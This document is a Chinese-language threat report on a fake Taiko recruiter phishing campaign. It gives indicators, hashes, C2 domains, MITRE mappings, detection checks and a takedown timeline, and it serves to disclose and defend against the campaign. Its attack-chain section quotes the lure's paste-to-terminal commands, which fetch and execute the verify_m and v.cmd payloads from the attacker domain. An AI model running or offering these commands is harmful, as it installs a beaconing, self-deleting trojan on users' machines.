taikotalent.xyz 假冒 Taiko 招聘人员活动的 IoC、攻击链与检测方法，该活动通过“粘贴到终端”的“反机器人”手法投递自删除 Bash 木马。截至 2026-10-09，载荷仍处于活跃状态。
状态：已下线。 恶意域名
taikotalent.xyz已于 2026-10-10 02:39 UTC 被其注册商暂停（clientHold）——距我们向 AWS 提交带证据的滥用跟进报告约 12 小时，当时载荷仍处于活跃状态。2026-10-15 通过 RDAP 和 DNS 验证。详情见下方时间线。
2026-10-15 更新 — 钓鱼域名已下线。
taikotalent.xyz和hr.taikotalent.xyz现在返回 NXDOMAIN（通过 DNS-over-HTTPS 检查，2026-10-15）——距 10 月 5 日的协同报告（AWS 案件179121234700301、NameCheap 工单NC-DFA-2100、13 个已通知渠道）已过去 10 天。载荷 URL（/verify_m、/verify_w）已无法解析。部分解决 — C2 层仍然活跃：
api.gaganata.ink（104.21.84.196 / 172.67.196.60）和api.fallgganata.ink仍可在 Cloudflare 后方解析并响应 HTTP（探测返回 404，2026-10-15）。针对gaganata.ink/fallgganata.ink域名的滥用报告仍在等待注册商和 Cloudflare 处理（滥用表单需要浏览器 + Turnstile）。状态 @ 2026-10-09 00:46 UTC（历史记录）： 载荷仍然活跃 —
https://taikotalent.xyz/verify_m→ HTTP 200，49,916 字节，与 10 月 5 日的样本逐字节一致，距 AWS 滥用报告已过去 4 天多。
一场针对性的钓鱼活动冒充 Taiko（以太坊 rollup 公司——真实域名为 taiko.xyz，与 taikotalent.xyz 无任何关联），向开源开发者发送虚假的“工程岗位空缺”招聘邮件，收件人信息从其公开的 GitHub 个人资料中收集。虚假的“申请门户”最终导向一个 “使用终端进行反机器人检查” 页面，诱骗受害者将下载器命令粘贴到自己的终端中——无需任何漏洞利用，用户自己执行了恶意软件。
| 日期（UTC） | 事件 |
|---|---|
| 2026-10-05 | 收到该活动；样本已隔离；已发送完整取证报告（AWS 案件 179121234700301、Resend、Taiko） |
| 2026-10-09 | 披露范围扩大：本仓库、gist、dev.to、GitLab 代码片段、Telegraph；另有 9 项通知，包括 NameCheap 滥用（→ 工单 NC-DFA-2100）、Softshellweb（载荷托管方）、Cloudflare（C2）、APWG、OpenPhish、oss-security、3 家媒体。载荷仍逐字节一致且活跃 |
| 2026-10-15 | taikotalent.xyz / hr.taikotalent.xyz → NXDOMAIN。 钓鱼基础设施在首次报告 10 天后下线。C2（api.gaganata.ink、api.fallgganata.ink）仍可在 Cloudflare 后方解析 |
/var/tmp/.kdm.*、通过 perl 双重 fork 脱离、60 次重试的清理循环。| 类型 | 值 | 上下文 |
|---|---|---|
| 域名 | taikotalent.xyz | 注册于 2026-09-27（Namecheap），在活动开始前 8 天 |
| 发信子域名 | hr.taikotalent.xyz | DKIM d=；MX → AWS SES 入站网关 |
| 发件人 | [email protected] | 虚假身份 "Joseph Quintana, Talent, Taiko" |
| 发信 IP | 23.249.215.58 | d215-58.smtp-out.sa-east-1.amazonses.com（通过 Resend 使用 Amazon SES） |
| 门户 | https://taikotalent.xyz/ | "Private invitation" 单页应用，每个收件人对应一个 Ref 码（Ref-oxqgd77kb9zw14） |
| 数据外传 | POST /track-activity | 在每个表单步骤收集设备指纹 + 姓名/邮箱/GitHub 用户名 |
| 载荷（macOS/Linux） | https://taikotalent.xyz/verify_m | 49,916 B 的 bash 分阶段加载器 "deepfake_guard" — 2026-10-09 仍在线 |
| 载荷（Windows） | https://taikotalent.xyz/verify_w | v.cmd 启动器，隐藏窗口 |
| C2 | https://api.gaganata.ink/guard-launcher-result | 安装状态信标（Namecheap，Cloudflare 前置） |
| C2 备用 | https://api.fallgganata.ink | 备用端点 |
| 载荷托管 IP | 193.160.32.10 | Shock Hosting（US-SHOCK1-20191118） |
| 第二阶段 | /var/tmp/.kdm.XXXXXX | Base64 解码的内嵌阶段；反取证自删除 |
| 制品 | SHA-256 |
|---|---|
verify_m 于 2026-10-05 被隔离（49,916 B） | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d |
verify_m 于 2026-10-09 重新获取（仍在线） | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d（字节完全一致） |
| 原始钓鱼邮件（原始数据） | 84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564 |
原始 .eml 附件（11,098 B） | 3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3 |
| 取证报告 PDF（17 页，201,044 B） | d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c |
curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (do NOT execute the download)
YARA（参见 yara/bash_stager_taikotalent.yar）
主机失陷检查（macOS/Linux）：
ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null
网络： 阻止/监控对 *.gaganata.ink、*.fallgganata.ink、taikotalent.xyz（包括 hr. 子域）的出站流量。
邮件管理员： 将来自近期注册域名的 SPF/DKIM pass 视为中性——认证 ≠ 信誉。
[email protected] 名义提供 Taiko 工程职位（DKIM s=resend d=hr.taikotalent.xyz，经由 Amazon SES sa-east-1，IP 23.249.215.58）。POST /track-activity 在每一步窃取设备指纹。perl -MPOSIX 双重 fork 守护进程化 + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_mstart -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'deepfake_guard：通过 nohup 以分离方式重新启动，向 api.gaganata.ink/guard-launcher-result 发送信标（备用 api.fallgganata.ink），将嵌入的 base64 第二阶段解码到 /var/tmp/.kdm.XXXXXX，以 C2 端点作为环境变量执行它，然后自我删除启动器、状态文件和 /var/tmp 产物（60 次重试的反取证循环）。| 技术 | 名称 |
|---|---|
| T1566.002 | 鱼叉式网络钓鱼链接 |
| T1656 | 冒充 |
| T1204.002 | 用户执行：恶意文件（粘贴到终端） |
| T1059.004 | 命令与脚本：Unix Shell |
| T1027 | 混淆文件（base64 第二阶段） |
| T1071.001 | 应用层协议：Web（信标） |
| T1070.004 | 指标移除：文件删除（自我删除） |
| T1583.001 | 获取基础设施：域名 |
| 日期 | 事件 |
|---|---|
| 2026-09-27 | taikotalent.xyz 注册（Namecheap） |
| 2026-10-05 | 收到钓鱼邮件；分析 + 样本已隔离（从未执行）；已通知 AWS Trust & Safety、Resend 和 Taiko |
| 2026-10-06 | 生成 17 页取证报告（哈希 d83bc2d16a1b91e8…） |
| 2026-10-07 | AWS 将案件转至 [email protected] |
| 2026-10-09 | 全面公开披露：IoC gist · 技术文章 · 本仓库；载荷重新验证为活跃且字节完全一致 |
| 2026-10-09（稍后） | 向 [email protected] 发送后续邮件，附活跃载荷状态；通过 RDAP 映射基础设施：注册商 NameCheap，载荷主机 193.160.32.10（Softshell/SHOCK1 网段，滥用联系人 softshellweb.com），C2 位于 Cloudflare 之后；已向全部三家提供商 + APWG、OpenPhish、oss-security + 3 家媒体机构发送滥用报告（共 13 个渠道） |
| 2026-10-10 02:39 UTC | 已解决——注册商下架。 RDAP 现显示 taikotalent.xyz 上应用了 clientHold + server transfer prohibited，在活跃载荷后续邮件后约 12 小时应用。域名存活 13 天（2026-09-27 注册，2026-10-10 暂停） |
| 2026-10-15 | 验证已失效：taikotalent.xyz、hr. 和 www. 均无 DNS 返回；载荷 /verify_m 不可达；C2 api.gaganata.ink 仍在 Cloudflare 后解析，但返回 HTTP 404——残留仅与下架前已感染的主机相关 |
P01M4696RCMDN90PYQGW7NJHGT0 / 179121234700301由 Edison Flores（AliceLabs）进行分析与披露。所有证据均以非破坏性方式处理：payload 仅被下载用于计算哈希，从未被执行。这份 17 页的取证报告和被隔离的 stager 可按需提供给防御方、注册商、托管商和记者。